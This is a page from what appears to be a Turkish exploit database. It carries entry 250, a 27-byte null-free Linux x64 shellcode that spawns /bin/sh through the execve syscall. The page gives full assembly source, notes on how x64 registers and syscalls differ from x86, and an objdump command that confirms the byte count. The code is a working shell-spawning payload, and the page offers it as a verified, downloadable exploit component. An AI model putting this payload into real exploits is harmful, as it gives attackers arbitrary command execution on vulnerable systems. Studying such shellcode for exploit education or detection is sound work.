Siber Alem / Detail / 250 / Linux-x64-execve-bin-sh-shellcode-27-bytes-null-free-modern
vuln_report_viewer.sh
VULN REPORT / shellcode / ID: 250

Linux/x64 execve(/bin/sh) Shellcode - 27 Bytes (Null-Free, Modern)

2026-07-21
45 görüntülenme
Doğrulandı
Linux x64

Özet

Bu kayıt, hedef sistemde bulunan bir zafiyeti detaylandırmaktadır. Zafiyet 2026-07-21 tarihinde yayınlanmış olup, topluluktan 45 görüntülenme almıştır. shellcode kategorisinde sınıflandırılmıştır. Kullanıcıların teknik detaylar için Detay sekmesindeki kaynak kodunu incelemeleri önerilir.

exploit_250.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-emerald-500 pl-5 py-3 bg-emerald-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-emerald-700 mb-1">Modern Shellcode - Linux x64 - 27 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 execve(/bin/sh) - 27 Bytes (Null-Free)</h2>
    <p class="text-sm text-slate-600 mt-2">64-bit mimaride shellcode yazmak x86'dan farklidir. Register'lar 64-bit genisligine cikmistir. Sistem cagrisi icin int 0x80 yerine syscall talimatı kullanilir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">x64 vs x86 Farklari</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
x86  →  x64
eax  →  rax (64-bit)
ebx  →  rdi (1. arg - System V AMD64 ABI)
ecx  →  rsi (2. arg)
int 0x80 →  syscall
execve = 59 (x64) | 11 (x86)
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">x64 Assembly</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
section .text
global _start
_start:
    xor   rdi, rdi
    mul   rdi               ; rax=0, rdx=0
    push  rax
    mov   rcx, 0x68732f6e69622f2f ; //bin/sh
    push  rcx
    mov   rdi, rsp          ; rdi = /bin//sh
    push  rax
    push  rdi
    mov   rsi, rsp
    mov   al,  59           ; execve = 59
    syscall
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Boyut Dogrulama</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
objdump -d shell64 | grep -Po '\x..' | tr -d '\n' | wc -c
# Cikti: 27
    </div>
  </div>
</div>

Yazar Profili

Teo Manojlovic
Teo Manojlovic Seçkin Üye
Tüm Gönderilerini Gör

Kayıt İstatistikleri

Görüntülenme 45
İndirmeler 11
Yorumlar 0
Siber Alem V1 Status: Operational | Exploits: 487 (156 Verified)
Ping: 18ms Lang: TR